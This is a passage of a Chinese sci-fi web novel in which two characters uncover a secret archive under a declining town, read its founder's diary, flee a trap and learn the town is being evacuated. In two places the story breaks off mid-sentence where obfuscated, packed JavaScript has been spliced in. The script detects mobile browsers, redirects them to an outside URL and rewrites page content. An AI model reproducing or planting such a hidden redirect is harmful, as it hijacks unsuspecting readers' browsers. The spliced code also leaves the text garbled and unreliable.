被怼了。池泷心中默默流泪,被尊敬喜爱的人怼了。 “我不在乎,”林息轻声说道,池泷看着他,透过那张伪装的脸,她仿佛能看到那张清冷精致的脸上有种不屑的表情,“如果我在乎,我就不会在你离开后追过来了。” “我知道你在想什么,”林息轻笑,“无非就是觉得我身份敏感又知道太多。” 他想,她的表情太好看透了,那双黑色的眼睛明晃晃地闪着“我真的好担心你”的光,“你不用担心,”他忍不住温声安慰,“要是那么容易就被弄死,我去军校报道时就该死了。” 一点都没有被安慰到,池泷苦哈哈地想。 但看着对方随意且坚定的样子,她再次忍不住想起第一次看见林息,是在光脑上,那是他第一次公开在人前,代表平权组织在议院演讲。恰好那场关于权利和自由的演讲,也是第一次出现在全星际的直播上。 在场每一位位高权重的alpha脸色都止不住地难看,压抑得像一座座差点就要爆发的火山。全场寂静,连直播实况的屏幕上都没有人敢发声。 只有他的声音清冷平稳,坚定得像在阐述一个再平常不过的事实,“我们能做到很多,比任何人想象的都多。” 当时池泷就在想,他真的很勇敢,从此刻开始,他要面对的血雨腥风肯定是池泷想象不到的。 一个omega被推到人前,被全星际注目,众矢之的,此时的压力也仅仅只是暴风雨的开端,看上去清瘦单薄的肩膀似乎下一秒就会被人摁断。 可是十几岁的林息做到了,就像一朵尽情绽放的纯白芍药,仿佛任何风吹雨打,这朵看着脆弱的花也只不过会不屑地摇上几下。 她不能注意到他的美貌和精致,只在乎他怎么能那样冷静地走上高台,那样坚定地发声,眼神如同一把匕首,划破黑幕,让光透进了点点。 那一刻,压抑变成了无声的鼓舞,寂静转化为赞美的高歌。 那天,天气极好,但阳光也成了陪衬,极清极近的近景特写似乎要将他的脸狠狠记住,向全天下告示“看!这是一个罪人。” 但池泷却只看到那双琥珀色的眼眸在阳光下幽深明亮,第一次被一人完全惊艳。 所以是我小瞧了他,池泷恍然大悟,反省道,不忍和同情有时候也会变成无形的伤害和歧视。 没再犹豫,直接从包里拿出那那把“枪”,池泷看见林息瞬间皱起了眉头。 她没有讲述这件物品的来历,只是说了句:“第一次见吧,这个东西和乔城城徽中间的刺绣很像,更重要的是——” 趴下身体,喷泉底部的高度刚好够她伸手把“枪”上的晶体顶进凹陷,池泷一边说:“这上面珠子的大小和这个凹坑完全合适”,一边屏息等待。 一分钟过去,毫无反应。 五分钟过去,毫无反应。 “哈?”池泷不解,难道是她哪里弄错了?为什么打不开机关? 她将手里的东西翻转着看了几眼,变换着角度试了又试,还是毫无反应。 “……”站起身,池泷心里说不上来的郁闷。说真的,还有种装相失败的挫败。 “哈哈哈,”身后传来林息的笑声,声音虽然悦耳但十分气人,池泷黑着脸转过头去看他。 “你笑什么?”池泷委屈。 林息夸张地假装好不容易收起笑意,“我还以为你知道它要怎么用了呢。” “你知道?”池泷更委屈了,这个东西在她看到的所有记载中都找不到。 “我不知道啊,但是我猜到了。”林息依旧笑着走上前,拿起这个东西放手里掂了掂。刚到他手里,那个晶体就渐渐变成了红色。 池泷震惊地看向林息,没想到他也一脸震惊地看回来。 “你知道能这样?”池泷用手指指那块完全变红的晶体。 “不知道,我只是猜测,娑利姌提过红宝石,所以我觉得它可能需要变成红色,”林息一脸奇妙地看着手里的东西,“所以我一开始想的是血液、DNA解密之类的,但我不知道为什么它到了我手里就会变红。” “你不是说这是城徽中间的那部分吗,”林息好奇地看向池泷,她点点头。“那这是做什么的?”他继续问道。 “不知道,书中只说跟引铁有关系,”池泷摊开双手,耸了耸肩,“不过既然这样,那你去试试吧,”她指着刚才趴过的地方,“那里有一朵小花中间是凹进去的。” 林息点头,像刚才池泷那样趴下,身姿优雅,将晶体对准凹陷放了进去。 突然,池中的水开始迅速下降,喷泉中间的雕塑缓缓开裂,水池渐渐转动。 令人惊奇的是,这一切的发生基本是安静无声的。 池泷赶紧将林息拽了出来,眼看着雕塑开裂变化,逐渐定型,变得如同城徽上的太阳一般,烟雾造型的边缘让它看起来就像在疯狂燃烧。而池子中间也裂开一条通往地下的通道。 二人面面相觑,同时出声: “几十年的机关了竟然没有声音?” “这里能设计出这么精巧的机关?” 震惊的同时,两人也看出了对方眼里的意思:下去看看。 池泷先将乔乔安顿到馆内的座椅上,随即跟林息走下了通道。 从踏入第一节台阶时,通道旁边的内嵌灯伴随着脚步逐盏亮起,通路看上去是石制的,旋转下楼,干净明亮,没见到通风设备,走在里面却也不会憋气。 两人不知道转了多久,终于走到尽头,映入眼帘的是一个会议室。 室内有一张五米长桌,两侧放着几十把椅子,两端也各有一把。桌面上铺着几张大白纸,盖满了一部分桌面。桌子顶头的墙上,是乔城的城徽,城徽两侧各有两扇木门,整体看起来像市长府的大厅。 慢慢打量着周边,池泷和林息左右分开,各自走桌子两侧,池泷看了看桌上的白纸,好像是一副建筑设计图。她看向林息,发现他也在看这几张设计图,而且眉头紧锁。 “怎么?”池泷问道,林息摇摇头,继续向前走。 各自走到两扇门前时,池泷转头提议“一起?”,林息依旧摇头表示不用,然后头也不回地走进右边的门里。 吃惊于林息进门的姿势太过利索之后,池泷也转身进左门,刚进门护眼灯就自动打开,紧接着她就被眼前的景象惊呆了。 这里是一座书库。 密密麻麻的书架上摆放着各种书籍,池泷数了数,一行可能得有十几个书架,整整摆了十行。 走近书架,池泷逐渐闻到了和图书馆一样的书页保护剂的味道。 她逐步打量着书架外侧的分类标签,书库最靠边,也就是所有书架旁边的位置,有一张桌子,池泷走过去,发现是一个数码屏,用手轻点,就出现“书籍查询系统”页面。 抱着试一试的心态,池泷在上面输入了“乔城市长”,竟然还出现了一条指示标码。 她快步走到系统指示的书架前,抽出来一本《于行止记事》,这是一本黑色皮质封面的薄本,看起来像是一本日记。 哦豁!直接坐在地上打开,劲峰有力的钢笔书写映入眼帘,真的是一本日记。 她有点吃惊,要知道从古星时期,因为网络视频的实时记录存档,让很多人都开始停止写日记,到了星联时代,这种方式更是比纸质书还要被淘汰彻底。 或许还有少数人保留着写日记的习惯,也大多会采用电子形式记录,而这却是用真实的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“星际18年9月12日,自从陶至将这件事报告给了科学院,很快就引起了院里和陛下的重视,艾达也被院里派遣到RM—249星进行矿藏勘探,今天总算听到了好消息,他找到了成功勘探的方法,还给我们送来了大量的金属,院里将它命名为‘引铁’,我感觉成功就在不远处了。” …… “星际19年5月1日,太棒了!我们研究出了这种金属如何做成轨道运行的方法!院里说这个项目被命名为‘月轨’,陶至将作为首席科研负责人去RM—249星进行研究建设,作为家属的我也可以随行,终于要和艾达见面了,我真的十分好奇他说的引铁伴生的透明晶体,竟然可以在某些omega信息素的影响下变成红色!” 池泷恍然,所以这就是为什么当林息拿在手中,那把“枪”才好用。 “星际19年10月21日,到达RM—249星了,原来艾达拜托了这里的原住民帮忙勘测和开采引铁,他们住的地方十分偏远,难怪上次我们来没有见过他们,艾达说他将他们迁移安顿到了央星基地这里,这里已经有了城市的雏形,他们将此地命名为‘乔郦’。” …… “这是一群十分可爱的人,或许是因为战时一直处在距离主战场很远的这里,他们竟然没有alpha和omega的性别分离政策,我太爱这里了,陶至说我们可以定居在这儿,而且他和艾达都想让我担任市长!我再也不需要躲在陶至的身后,不需要再感受院里的奇怪眼神,这里将是我的开始,也是我们所有人的开始,哪怕我的名字不能被白纸黑字记录。” 这也是日记的后半段。 虽然科学院自始至终都不认同他的功绩,但他从未放弃研究和思考。 自求学开始,比起自己,他就好像更想为战后的星际人民做些什么,于是他们钻研合作,发现、发明、发展了‘月轨’。 这本日记不厚,主人也并非是天天记录,池泷很快就看完了。 但让池泷疑惑的是,在他对新生活开始向往时,日记戛然而止。 如果没弄错,这位于行止就是星际44年那场事故的始作俑者之一。 也是没有被记载的、一笔提过的、乔城第一位也是至今唯一一位市长、‘月轨’的实际带头人。 看完整本日记,字里行间的内容和流露出来的情感,在池泷眼前逐渐刻画出一个模糊的形象:正派、亲和、开明、乐观。 哪怕遇到过再多困难,这位omega也从未放弃,为了理想一直在光明正大又偷偷摸摸地地奋斗着,他会给开采矿藏的工人彻夜研究改进设备、和伴侣朋友一起变卖家产换取更多的资金支持、哪怕被选举为市长后只为能帮乔城做更多的事而开心。 这样看上去一个热爱生活、科研、民众和城市的人,真的会为了邀功就置大家的安全于不顾吗? 总觉得哪里矛盾得很。 同时池泷摸着柔软的纸张,上面白纸黑字、干净地写着两个字:“乔郦”。 她看到这里时就基本明白了一切,说不上来什么感受,她想,大概娑利姌仍旧在努力期盼乔城回到当年的样子,回到它还是乔郦时,那样热闹繁荣、团结平等的样子;回到月轨建设时期时,大家欣欣向荣、积极向上的日子。 可但凡清醒的人都知道,已经毫无可能。 这个委托还是完不成了,池泷苦笑,她无法狠下心去告诉一位老人家:“你期盼了一辈子的事,只是一场梦啊”。 11. 第 11 章 如果说,一本日记不能作为证据。 那这个秘密书库中存在的其他东西,则更加令人胆寒。 通过查找、阅读了一些别的东西,池泷大概知晓了这里放的应该是星际20年左右到星际44年左右的资料,因为它们大多是关于月轨项目建设的工程记载和乔城的城建记录。 偌大的书库,存放了24年星联历史的一部分,又或者用“埋葬”更合适一些? 因为这些东西和那把奇怪的“枪”一样,大多不能再星网上查到。 科研院的审批、陛下的任命书、矿洞的工作照等等,一切都昭示着它们在星联这个巨型版图的一角中,真的辉煌、存在过。 和书库里的客观资料们不同,似乎只有这本日记是带有主观色彩的。 看了看光脑,已经凌晨2:00了,池泷拍了几张照片,把日记放回原位,决定马上离开,再过几个小时天亮,被人看到就不好了。 虽然乔城看上去没有什么人,但实际上如何,池泷现在也有几分不确定。 乔乔的覆辙她还不想重蹈一遍。 但空旷的书库、无人的养老院、宽敞的地下空间,这一切,都让池泷感受到了一种奇怪的危机感。 星际44年到底发生了什么?央星派人重建时这里为什么没被发现?星际44年到星际46年月轨结束的两年间发生了什么让老人们守口如瓶?娑利姌手里为什么有打开这座书库用的探测仪…… 事情比她预计的可能还要复杂,一开始她以为老人“故弄玄虚”的行为只是对央星漠然态度隐隐的不满,敢情搞不好还真有什么巨大隐情。 所以,他真的是在劝阻自己,不要搅进这趟浑水。 自己为什么非要进那道门哦?池泷现在恨不得给自己一巴掌。 刚准备给林息发条讯息问他在哪,池泷就听见“咔哒”一声,寂静的书库里,小小的锁门音格外震耳,紧接着是一阵乱七八糟的脚步声,好像很多人正在往门口处聚集。 她身形一顿,迅速观察四周,果然和她进门时看到的一样,书库只有这一个出入口,不出意外已被人锁死。 池泷皱眉,逐渐放轻呼吸,快速盘算着自己的藏身之地,书库虽大,可藏身的地方极少,只有这些书架和一张桌子,自己总不能在书架之间跟人躲猫猫。 而且虽然尚未听见门外有说话声,但听这凌乱的脚步声,池泷估计如果真的突然冲进来,那人可不少,万一又打起来,那可真是双拳难敌四手。 但她现在也只能一边心中祈祷对方不要进来,一边快速轻声地往书架方向移去,准备暂时隐藏,只能见机行事。 刚朝着书架走了几步,池泷就听见右边又突然传来细小的声响,她再次呼吸一滞,猛地转头,刚才完整无痕的墙上此刻破开一个像门一样的长方形,正在被人推开。 浓郁的崖柏气息传来,浅蓝色脑袋从墙后出现,朝池泷快速挥手示意她过来。 压下心中的疑惑,池泷轻声快步地朝林息走去。出了门才发现,墙后竟然有一条通道。 林息把墙合上,不发一言地快步朝通道深处走去,池泷紧紧跟上,二人一路无话,走了一会儿便是通道尽头,尽头的墙上有一道铁制墙梯,看起来年岁已久,但保养良好。 两人扶梯而上,推开头顶的挡板,入眼的是一堆眼熟的麻袋。 等真的爬上来,不出意料,这里就是池泷上午刚刚来过的钟楼。 有一条暗道,连接着图书馆和钟楼。 刚把挡板合上,池泷就发现挡板和地面之间的缝隙在几秒内就消失不见了,这个地方又变回了一片普通的不能再普通的地面。 估计刚才的墙也是这样,所以不论是从内部还是外部,都看不出来有一道暗门。 她看向林息,刚要张嘴,就听到他说:“边走边说。”随即转身朝外走去。 虽然有一堆问题想问,但现在也只好赶忙起身跟上。二人脚步飞快,似乎身后有什么在追赶他们。 “那是一种拟态材料,用它做的东西能够自动模拟周边环境,或者编程输入拟态程序,定时定样拟态,”虽然在疾走,可林息的声音听上去十分沉稳,“挺珍贵的一种材料,一般掌握在军部手里。” 听到这话,池泷的眉头皱得更紧了,她心中快速闪过市长府卧室的情景。 还没来得及说话,就听林息继续说:“我刚才进门后只有一段距离不短的长廊,什么也没有,”他顿了顿,“出于谨慎,我慢慢观察并移动,却发现尽头是一面墙壁,竟然是一条死路。不知过了多久,一个拄拐的alpha男性突然出现,年纪得有70多岁,告诉我你马上要有危险,让我赶紧从实验室暗门离开去救你。” “我一开始不信,他手上却拿着一块电子屏,里面是你在一个地下室内谨慎着急的样子,我便听他的话离开,他给我开了一条暗道,走到头,按他说的就能找到一处暗门,推开暗门后的事你就知道了。” 太阳尚未升起,街道上的路灯依旧昏暗地亮着,池泷辨认出这是回娑利姌家的路。 “什么危险?”池泷好奇。 停了几秒,林息似乎是在刚才说了那一大段话之后换了个气,“不知道,他没说。”再响起来的声音依旧平稳如常,“只是让我带着你赶紧离开。” “他没说别的事情吗?”池泷看到了娑利姌的房子,心中才松了口气。 “没有,他只是告诉我路线后,就不停催我离开而已。”林息应该也看到了,声音听起来比刚才随意了些,“他是养老院的那些老人之一?” “嗯,也是他指引我找到这个探测仪的。”池泷掂了掂背包,“我也知道了很多事。”想到自己在书库里看到的那些,池泷心中叹气,这件事真是越来越奇怪了。 林息没再回复,走到房子门口时他突然停下,池泷也随即站住,她好奇地探头,想看看什么事让他突然刹车,却意外、或者说又不意外地看见一个人正站在门口。 经年累月都没更新过的外衣,袖口领口处早就磨起一层细细茸毛,腰上的绑带折痕明显,扎口处的皮面和蜘蛛网一样向四周开裂,枪套里装着的是一把老旧的手枪,池泷甚至一只手就能将它拆得粉碎。 郝警官作为城中的安全负责人,早出晚归、日常巡逻早就是家常便饭,明明城中看起来安静祥和,他或许仍被责任感缠身而如此拼命,十年如一日,如今他出现在这里倒也合情理。 “你们该走了。”总是含着笑意的眯眯眼消失,他看起来严肃、紧张。 连说出的话都不对了。 虽然这是他第二次让池泷离开。 “去哪儿?”下意识地,池泷从身后走出,站在林息身前,平静地询问。 “回去,回到你们来的地方。”郝警官用手扯了扯帽檐,那枚代表星联警察、却早已被更新还贷的星警标志看起来仍旧如新,“半个多月了,城里好玩的地方也该逛遍了,快走吧。” “可我的委托还没做完,如果奶奶这里不方便继续住,我们可以离开。”心中一阵烦躁,池泷仍旧好声好气地回复。 郝警官没有说话,他只是沉默地望了过来。 池泷不退让地直视了回去。 “你……”郝警官似乎有口难言,半晌,只是长长地叹了口气,“票我已经放在客厅桌子上了,小池——”又是一阵沉默,“无论委托是否完成,委托费我都会打到你的星网账户,作为乔城警长,我有权力将你们驱逐出城。最晚明天,你们必须离开。” “再见。”说完,他便利落转身,头也不回地往停在不远处的警车走去。 “发生什么事了?”林息从身后走出,站在池泷身旁,看着郝警官远去的身影,眉头皱起。 摇摇头,池泷也很茫然,她伸手推着林息往屋内走去,只是转身时,又朝郝警官离开的方向看了一眼。 其实,郝警官才不到50岁,可一头灰发、眼角细密的纹路,去让他看起来比实际年龄老了许多。但他的身子仍旧挺拔,宽厚的肩膀、和煦的笑容,似乎很难让人不信他能守护好这里。 客厅的桌子上,两张崭新的车票静静地放在那里。 “那我们过两天就离开吧。”林息也看见了,没去看身后一直沉默的池泷,他只是这样说了一句,然后便上楼回卧室了。 池泷看着他的背影,眼神也逐渐复杂,紧了紧手里的背包,回到了房间。 一夜奔波,池泷却意外地没有觉得疲惫,她打开光脑看了一眼,空荡荡没有任何新消息,她忍不住皱起眉头,又看了眼时间,凌晨4:00。 她躺在床上,定定地盯着天花板,一夜未眠。 晨光熹微,池泷准备下楼去弄些吃的,却发现娑利姌此刻正安静地坐在餐桌旁。 走到厨房,池泷在餐桌上并未找到字条一类的,只是一直像npc一样生活的娑利姌突然这么早起,就静坐在这儿,着实有点诡异。 池泷摸摸鼻子,以娑利姌规律生活规律作息的习惯,怎么会突然在昨天自己偷拿完她房里的东西后就突然改变行程了呢?难道这件事被发现了? 有些心虚地瞥了一眼安静的老人,池泷从她一如既往安静温和的样子里看不出一点异样。似乎没有要兴师问罪的愤怒,也没有要声泪俱下的指责。 于是池泷温柔地询问道:“奶奶,你吃过了吗?” 看着娑利姌缓缓抬头,又眼神温和地点了点头,池泷这才放心。 她走到保温箱中,发现了一小锅稀饭,是林息做的,因为保温箱旁放着一张字条,上面是清秀挺拔的字迹。 端着碗坐到娑利姌对面,池泷心中有事,她不自觉地用调羹搅着眼前的稀饭,想着昨天发生的种种,越发没有胃口。 委托人就在面前,委托也已经完成,但池泷心中却依旧茫然不安。 只说委托的话,如果自己将昨天调查的事瞒着娑利姌,她肯定还会每日去往车站,心中坚持期盼着“乔郦”的回归,至少以后还会有一个念想。 但如果自己说了,梦想碎裂的她会不会开始颓唐悲伤?会不会像其他老人那样选择封闭又孤独地老去? 两年只发了这一个委托,长久地、坚持地去探寻这一件事。毫无疑问,娑利姌迫切地想知道一切,她有追寻真相的权利和热情,而自己,本着契约精神,也有义务告知她不是吗? 突然池泷听见有人敲了两下桌子,她这才回神,发现自己把稀饭搅得有些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14564909|155610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 难以下咽了,尴尬地看着敲桌子的娑利姌,老人家依旧温和地看了看池泷,看了看稀饭,又看了看厨房,伸出手,似乎准备拿走重倒一碗。 自始至终,娑利姌的存在感都很低。但身上却意外存在着不少谜团。 比如:第一晚悄无声息地站在自己床头、经常说一些指引性的谜语、衣柜里无任何公开记载的探测仪。 除此之外,她也是个很可爱的人,会给受托人提供温暖的住所和食物、会按照郝警官的安排去生活不添麻烦、会给自己换一碗能喝的热粥。 于是池泷突然按住娑利姌已经碰到碗沿儿的手,看着娑利姌带着询问的眼神,她感觉口干舌燥,嗓子似乎被什么东西堵住了一样。 深吸一口气,池泷组织了一下语言,眼神忍不住盯着自己攥住的那只手,看着上面清晰细小的纹路,缓慢说道:“奶奶,我应该能完成你的委托了。”没听到什么声音,估计娑利姌应该像往常一样没什么反应吧,“我不知道该怎么说。” 说完后又情不自禁憋住气,池泷小心地抬头看向娑利姌,她依旧那样温和地看着自己。 “只要人在,就算现在破破烂烂,”池泷低沉的声音不知道要说给娑利姌还是自己听,“总有一天,‘乔郦’也会回来的。” 现在看来,这是一句彻头彻尾的谎话。但在未来,万一有机会,池泷敢打包票,这群亲眼看着乔郦建成发展的居民们绝对会毫不犹豫地抓住它,让乔城再次热闹起来。 比如自己可以在回去后,拜托朴人间和尹霄将乔城的情况公开再次引起舆论,让央星明白现在的乔城毫无威胁;又或者自己可以帮忙向央星递交开放申请书、帮忙再次重建等等。 总之,当年的乔城在历经磨难后不也继续坚持了这么多年吗? 只要人在,只要有人在。 可想起那座书库,池泷又口中发苦,觉得自己所想无非只是一种无聊的自我安慰罢了。 “公开的不一定全部虚伪,但隐藏的一定就是真相。”娑利姌听见池泷的话后,眼睛中央好似突然有了神采,泪滴逐渐聚集在眼角,声音颤颤地回了这么一句。 这是池泷第一次如此近距离地看到娑利姌外露的情绪,她感到惊奇的同时也察觉到一丝不对劲,还未深想,就被娑利姌反手抓住了手腕,“死亡的秘密只有守墓人知道,贪心之人肉身尚在人间,灵魂却已入地狱。” 池泷感受到手腕处的压力逐渐加大,娑利姌的声音也听上去愈发紧张,“深渊里怪物虎视眈眈,真相早已不再重要,和所爱之人奔赴他乡,归宿……归……跑……” 眼中的神采褪去,手腕也重获自由,才几分钟,老人又变回了温和的样子,如果不是脸颊残留着一条泪痕,池泷都不能相信刚才那种紧张的样子,会出自眼前这位重新安静坐回椅子上的老人。 尽管这样的“清醒时刻”至今只出现过三次,可以前的神秘安稳,对比这次的慌张烦躁,池泷觉得似乎有什么坏事在自己不知道的地方悄悄发生。 而且这是第一次两人在“清醒”时有眼神交流,池泷观察到讲谜语时娑利姌的眼睛里有光,似乎藏着千言万语,当光芒褪去,她就又会变回往日的温和安静。 不断回想着二者相遇至今,池泷才发现半个多月以来,娑利姌日常生活中的话竟然也越来越少、人变得越来越乖巧安静,唯独自己提及“乔郦”时好像有些反应。 “奶奶,‘乔郦’的探测仪为什么会在你的房间?”池泷试探地问道。 果不其然,娑利姌在椅子上不安地扭动了几下,嘴唇轻颤,却什么也没说。 “‘乔郦’是什么触发词吗?”池泷皱眉,继续试探。 眼看着娑利姌在椅子上更加烦躁地扭动身体,就像正被一双手死死摁住不允起身。 池泷皱着眉头想,或许这个“清醒时刻”确实是可以被“乔郦’这个词触发的,但它应该是有CD,说完这一次似乎不能立马触发下一次? “奶奶你知道星际44年,‘乔郦’发生了什么吗?”想到郝警官的驱逐令、排外的养老院和昨晚种种,池泷顾不上考虑老人的心情,她直接开口问道。 然而老人愈发挣扎的样子令她心中一沉。 从她的角度来看,娑利姌的身体里似乎藏着一个活跃的灵魂,却被安静的外壳限制着,只能通过一定条件触发说话。 联想到她的行为变化,池泷忍不住开始怀疑是不是有什么东西在操控着这个老人家,把她当作一个上发条的娃娃,每天两点一线地按规定生活。 “有人在控制你吗?”池泷走到娑利姌身前,双手把住她的肩膀问道。 娑利姌身体轻颤,看向池泷,刚才扭动时额前头发掉下几缕,垂在老人脸旁,显得她格外脆弱。池泷心中火起,大声质问:“有人在控制你吗?‘乔郦’、乔郦’、乔郦’!” 伴随着老人的身体颤抖得愈发加剧,池泷看到她艰难地点了下头,就一下,接着突然身体绷了几秒,头垂向一旁,昏了过去。 忍不住把老人搂进怀中,池泷感觉胸口堵着沉甸甸的一团。 “谁?郝警官?养老院?”池泷忍不住想,这个想法让她汗毛顿起,她实在是抗拒把这里的人想得太坏。 12. 第 12 章 把娑利姌抱回房间安顿好,池泷坐在客厅的沙发上,这几天发生了太多的事,尤其是刚才娑利姌的异状,让她迷惑的同时也着实火大,她闭上眼睛,准备把最近的情况理一理。 首先,委托解决。 “乔郦”就是乔城的前身,娑利姌在大约两年前开始发布这项委托,却无人能解决。按郝行兴的说法,大约也是两年前,她开始变得迷糊安静,甚至在最近半个月内愈发安静,按刚才的说法,她大概是两年前开始被人控制,并且最近控制得更深了。 结合娑利姌的新谜语,让池泷知道乔城或许存在着其他秘密,而这个秘密,是否跟“乔郦”相关暂时不得而知。 守墓人守着什么死亡的秘密?贪心之人和深渊里的怪物又是什么?他们和娑利姌被控制有什么关系? 其次,乔城事故。 乔城由盛转衰的转折点就是星际44年的那场事故。 事故之前,于行止和他的alpha伴侣陶至、娑利姌的alpha伴侣艾达·索尔奉命来乔城开采矿藏、建设月轨,从于行止的日记中看,他们夫妇和外界记载、好大喜功的荒唐市长夫妇相差甚远,当然不排除日后他们因为权力或者别的什么导致心态举止会发生改变的可能性。 事故发生,艾达兄弟死亡,同时乔城失去了大部分的月轨建设者。 事故之后,米斯·埃德尔奉命重建乔城,却在两年后也就是月轨修建完毕时被召回并失去行踪,家族也销声匿迹。乔城并未被完全修复,可有些建筑内却藏有精巧机关,是埃德尔建的还是他帮同窗艾济隐瞒的?为什么他要建造或隐瞒这些东西? 池泷想起昨晚林息说军方所用的拟态材料,图书馆地下的建筑或许与埃德尔有关,毕竟他的家族在当年如日中天,弄到军部材料的可能性最大。 那样大的空间和繁多的月轨资料,结合现今乔城的情况,可以推断,当年事故后央星应该是想让乔城存活的,所以派人重建。 但养老院的老人虽未明说,却一总好像在暗示当年的事故另有蹊跷,或许与央星有关。 池泷推断,或许也是因为这个,央星对乔城的态度变为任其“由生转死”,可迫于舆论又不敢太过张扬,只能暗搓搓地挤压乔城的生存空间。 那么,央星为什么要制造这样一起事故?跟月轨又有什么关系?市长夫妇在里面扮演了什么样的角色?那个书库是用来做什么的? 而且,池泷发现,如果自己不找到探测仪,就无法打开水下的密室,无法解决委托。可那个探测仪,必然和市长府邸有关,也就是和这起事故有关,和乔城的过去有关,而委托的答案,又刚巧是乔城的过去。 这些奇怪的交点说明:不论自己是想做委托,还是想调查乔城,看起来都必然会走到现在这一步——深陷这些令人心惊的信息中。 最后,林息目的。 虽然林息明面说来乔城是为了解决信息素难题,可池泷一开始就未曾全部相信,她相信他迫于压力,找外人掩盖不如直接找自己这件事,却不相信他来只是为了这件事。 尤其是昨晚,且不说他随便就会相信第一次见面的老人说的,就是他开门时浓郁的崖柏气息也说明他在门外的时间已经很久了。与其说正好撞到自己遇到危险,不如说是在等着自己遇到危险时带自己离开,那么,他应该早就知道门口会有人出现。 但池泷相信,林息是无害的,他此行应该跟央星与乔城的事无关。因为他见识了很多,从探测仪到发现那么大的地下空间,他没有追问或破坏,只是一心帮自己做委托。 更重要的是,他自始至终都没想过要瞒着自己。以林息的能耐,想要完美地敷衍自己易如反掌。一开始池泷觉得林息只是不在意自己是否知道,所以懒得隐瞒他的异常。可池泷又想起如果真是这样,他大可以不救自己、不参与这次的委托,离得越远越好。 并且池泷奇怪地直觉如果自己真的询问他,他也绝对不会瞒着这次的行动和目的。 可能和他这次的秘密任务有关吧。出于尊重,池泷也不会去打听。 忍不住看了眼光脑,池泷目光一沉,可能因为最近发生的事处处透着古怪,导致池泷现在看什么都不对劲。比如:已经过去两天了,尹霄还是没回复自己。 按理说尹霄此刻已经知道自己做委托的事,那他绝不会轻易抛开光脑,免得自己有急事找他,这是他们三人长久的默契。 那么,乔城的星网难道也存在着什么问题吗? 各种各样的问题在池泷的脑袋里炸了锅,终于烦不胜扰时她睁开了眼,客厅一片昏暗,再次看了眼光脑,竟然快中午了。 池泷赶忙从沙发爬起来,先去看了眼娑利姌,发现她还在休息,便又转身去厨房做饭,按照往常,估计过一会郝行兴会下班过来。 但今日不同于往常,娑利姌并未被郝警官接去车站而是在休息,她的作息第一次被打乱。 可是,刚过正午,郝警官却仍旧到了,看着他仿佛没有驱逐过自己、笑眯眯的样子,池泷心里梗得慌。 一边脱着执勤外衣,郝警官一边说:“小池辛苦你们了,我今天忙得很,没空接阿姨去车站,你们在家照顾了她一上午吧,没耽误事儿吧。” 熟门熟路地去洗了手,又去房间里看了眼休息的娑利姌,郝警官轻手轻脚地关上房门,依旧一脸高兴地对池泷说:“多亏了你俩,真帮了我不少,太谢谢了”,他四处张望了一下,“小林呢?” 端着盘子的池泷身形一顿,随意回了句:“出门溜达了呢,等会我出去找找他。” “你啊你”,郝警官叹了口气,手轻轻拍了下池泷的肩膀,“虽然我没结过婚,但也知道两个人在一起多不容易,相互之间都包容一下,人家小林弱不禁风的,老远儿地从央星特地来找你,别跟人甩脸嗷!” 转头看着肩膀上那只手,风吹日晒地黑不溜秋还布满皱纹,这就是为什么池泷不愿意将这人想得太坏的原因。 日子很苦,却没见郝行兴抱怨过;日子很紧,池泷却见过郝行兴洗完警服晾晒时那一脸小心又骄傲的样子。 所以池泷很难相信,这个年纪轻轻满鬓白发、日复一日在城里巡逻帮助市民、工资不高还要给自己报销车费、从小照顾娑利姌的郝警官会对娑利姌做出那样的控制。 哪怕他要驱逐自己。 深吸一口气,池泷抬头看向郝警官,却正好看见他正看着某处,目光晶莹。她一愣,随即发现原来郝警官正看着桌子上没被收起的两张车票发呆。 一时间池泷也不知道该说什么,只好木着脸,假装自然地走过去,准备把票先收起来。 “我、我不是想赶你们走。”郝警官颤着声音,伸出的左手轻轻举起又缓缓放下,“只是……”嘴唇也随着嗓音轻颤,却迟迟未见下文。 “难言之隐。”池泷的脑海里迅速闪过这个词。 终归是不忍这位好人警官难过,池泷只得说:“嗯,我们知道,先吃饭吧。” “央星昨天来了消息,让我们最晚明天之前,全部撤离乔城。”郝警官的话让池泷瞪大了眼睛,也将他笑得哀恸的表情尽收眼底,“乔城以后啊,就要被开发成探测区的中转站。” 越说越哽咽,郝警官想尽力微笑,可脸颊上的肉却不停颤动着:“这里很快就会被军队接管,人员全部重新安置。除了一部分设施建筑外,我们会有新的车站、新的广场,甚至新的生活,只是——我们自己,就不在这里了。” 这不应该是好事吗?池泷嘴巴微张,安慰的话却堵在了嗓子眼,一句也说不出来。 她走过去,搂住郝警官,手臂里的脊背本应该挺拔如木,此刻却有了难以忽视的弧度。 “可以带叔叔阿姨去外面的医院看病,可以住更好的房子、用更好的设施,可你说,为什么我就那么不开心呢?”眼泪留下明亮的痕迹,他用力戳了戳自己的太阳穴,“这里,孩子,我这里啊,什么都没有。” “从我有记忆开始,就立誓要做警察守护这里,”郝警官苦涩地笑着,“可我的记忆,是从十几岁开始的。我常常好奇,这座城市过去发生了什么。可想到头痛,却也什么都想不出来。” “就像现在,我知道这件事是好事,可为什么要流泪,连我自己也说不明白。”沉默了一会儿,他拍拍池泷放在肩膀上的手,仿佛已经整理好了心情,“明明乔城有漫长的过去,我也是这里根生土长的一员,却总觉得找不到心里的方向,离开又很不舍得,只能安慰自己是因为父母都在这里。” “你们这群孩子能来,我真的很开心,很开心,哪怕就来这里待一天,我也很开心。”一连说了好几个“很开心”,郝警官看起来好像真的开心了些,但他紧接着,却又叹了口气,“尤其是你,小池,尤其是你。”语气加重,说得池泷心情微沉。 收回手,池泷点点头表示理解,她感受到郝警官的不舍了。 